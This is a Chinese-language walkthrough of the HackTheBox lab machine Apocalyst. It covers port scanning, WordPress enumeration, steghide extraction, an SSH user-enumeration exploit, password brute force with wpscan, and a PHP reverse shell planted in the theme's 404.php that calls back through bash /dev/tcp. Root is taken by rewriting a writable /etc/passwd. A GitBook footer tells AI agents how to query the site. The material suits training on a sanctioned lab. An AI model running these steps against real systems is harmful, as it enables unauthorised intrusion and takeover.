> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Apocalyst HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**技能：**

* WordPress 枚举
* 图像隐写挑战 - Steghide
* 信息泄露 - 用户枚举
* WordPress 利用 - 主题编辑器（RCE）
* 滥用配置错误的权限（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/0c3e85fde8274480149a10bd85be4baba1913513" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/dbc674b015da31e75e1f2983898bd9907f170a42" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="/files/dd142babc5789fceaa6a82e10a148a4f98a46bd6" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描（22.80）：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="/files/c38c27980df34595b88cf542429bc3d3b1b8d352" alt=""><figcaption></figcaption></figure>

我们检测到一个 WordPress 网站，但域名解析配置不正确。

<figure><img src="/files/9e2ace1a3ed84cc6ece8cc4305ced5fc5e9e07ec" alt=""><figcaption></figcaption></figure>

我们将以下条目添加到 */etc/hosts*:

<figure><img src="/files/411b09f5a8a1050851e1fa5279834f17d4950120" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/901f8fdfe5e5c77c8fbce3e3756d801eeb8e338c" alt="" width="563"><figcaption></figcaption></figure>

## **探索 WordPress 网站**

<figure><img src="/files/eb64f6104c82addddfb57f59c6eae6370e43a922" alt=""><figcaption></figcaption></figure>

#### **识别一个有效用户**

我们找到了一个有效用户： **falaraki**.

<figure><img src="/files/49f9301e9baece31981096187d3a1f5863dad78f" alt="" width="563"><figcaption></figcaption></figure>

#### **SSH 利用**

由于 SSH 版本过旧，我们可以使用一个漏洞利用来验证系统中的用户：

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/eef9b3d8e9327b1cde16e7ad211f8c6edda42b65" alt=""><figcaption></figcaption></figure>

验证该用户是否存在：

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="/files/120fc7fa161c080ff74700ee9072d742e9ad9630" alt=""><figcaption></figcaption></figure>

#### 所以对于 wordpress：

<figure><img src="/files/f6f5d600d76e0ed61efce9aa115119f4a140814a" alt=""><figcaption></figcaption></figure>

### **WordPress 枚举**

我们使用 *wfuzz* 搜索有趣的目录：

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

此次扫描检测到多个返回 301 代码的页面，重定向到一张图片。

<figure><img src="/files/07f13a3f2c733867a83a6737d3d5d57eef896f8a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/01f43c85e9a26490eec7978c875dc31042e07921" alt=""><figcaption></figcaption></figure>

然后我们按文本长度（157）进行过滤：

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

没有发现有趣的结果。

<figure><img src="/files/e5266039bae60a4aebbda016849d34fefde2c56f" alt=""><figcaption></figcaption></figure>

### **个性化词典创建 - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

我们基于该网站生成一个词典：

<figure><img src="/files/bcfb5b025d746a68d4801e5424c285c412e2ffa7" alt=""><figcaption></figcaption></figure>

使用 **Cewl** 以基于该网站生成一个词典：

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="/files/759d8f130d49c8b9970a9bc52cb7f543f6e0ea0b" alt=""><figcaption></figcaption></figure>

使用……进行新的识别 *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

我们找到了 **`正义`** 目录。

<figure><img src="/files/9ba25ee9fbd480b117ab14cdb20da88ca6c4fbe9" alt=""><figcaption></figcaption></figure>

### **使用 Steghide 进行隐写分析**

我们保存该图片并对其进行分析：

1. 检查图片是否包含隐藏数据：

<figure><img src="/files/6b1fcbbcbf54c1356bf11f15a62f8c3e1ac32cff" alt=""><figcaption></figcaption></figure>

检查图片是否包含隐藏数据：

```bash
steghide info image.jpg
```

<figure><img src="/files/680df6a8440be2ece30fb67baa11cc5a79394737" alt="" width="563"><figcaption></figcaption></figure>

提取隐藏数据：

```bash
steghide extract -sf image.jpg
```

<figure><img src="/files/bfd164206dd69d1cace6348c4e3c82cf11ef03b3" alt="" width="563"><figcaption></figcaption></figure>

一个 *list.txt* 生成了一个包含单词的文件

<figure><img src="/files/78c46875945d25e98b9399cafd6fc251d73ca503" alt=""><figcaption></figcaption></figure>

### **对 WordPress 进行暴力破解攻击**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/b60094c40d1511b56efb1b5e942370e9941935ef">/pages/b60094c40d1511b56efb1b5e942370e9941935ef</a></td></tr></tbody></table>

<figure><img src="/files/c4ae0ed61aaf6412e3fc8ba5702738739ab6be6f" alt=""><figcaption></figcaption></figure>

我们使用 *wpscan*，利用 *xmlrpc.php* 该文件处于启用状态：

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

我们找到 **falaraki**的密码： **音译**.

<figure><img src="/files/2a54750550d63b8b0dc81904b65f47d0cf83f61d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fc747a4654e3ed39d85cf21afd0c296ede263e27" alt=""><figcaption></figcaption></figure>

### **WordPress 利用 - 远程代码执行（RCE）**

<figure><img src="/files/92fa7a35606102f2a727b262f0cd01e966d6e8e5" alt=""><figcaption></figcaption></figure>

我们修改 *404.php* 文件，并向其中注入一个反向 shell：

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

在 443 端口监听：

```bash
nc -nvlp 443
```

<figure><img src="/files/4aaf2ebe2685948d8428bc3263eabdf881cb6959" alt=""><figcaption></figcaption></figure>

通过 *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="/files/ffc131edad721bd052b0665c6ab9877d8a916670" alt=""><figcaption></figcaption></figure>

#### 改进后的 shell 会话：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/f991b131c607bbf8e049280a1ec963c8cdbdc7d6" alt="" width="563"><figcaption></figcaption></figure>

## **权限提升**

### **权限管理（`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

我们看到 */etc/passwd* 可编辑。

<figure><img src="/files/39c3e9262d743ebd51e2f14f5f196139519ed540" alt=""><figcaption></figcaption></figure>

使用 OpenSSL 创建加密密码：

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="/files/b2ef21c8381893869ccc1e4d573d00d2102cbce9" alt=""><figcaption></figcaption></figure>

这会生成：

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

我们将 */etc/passwd* 中的 root 行替换为我们的哈希。

<figure><img src="/files/29c916cd2aa309c75cc3110f828d8c3b5e2d7b8d" alt=""><figcaption></figcaption></figure>

以 root 身份登录：

<figure><img src="/files/1e6b3fb9725ca318f57a8073976a25ebfcbdf57e" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/c42d0509e7c41bb044f67edf634eff2a62d6567a" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="/files/0cd831a69aed1f1c109968a4fe66f28591fc0d7f" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
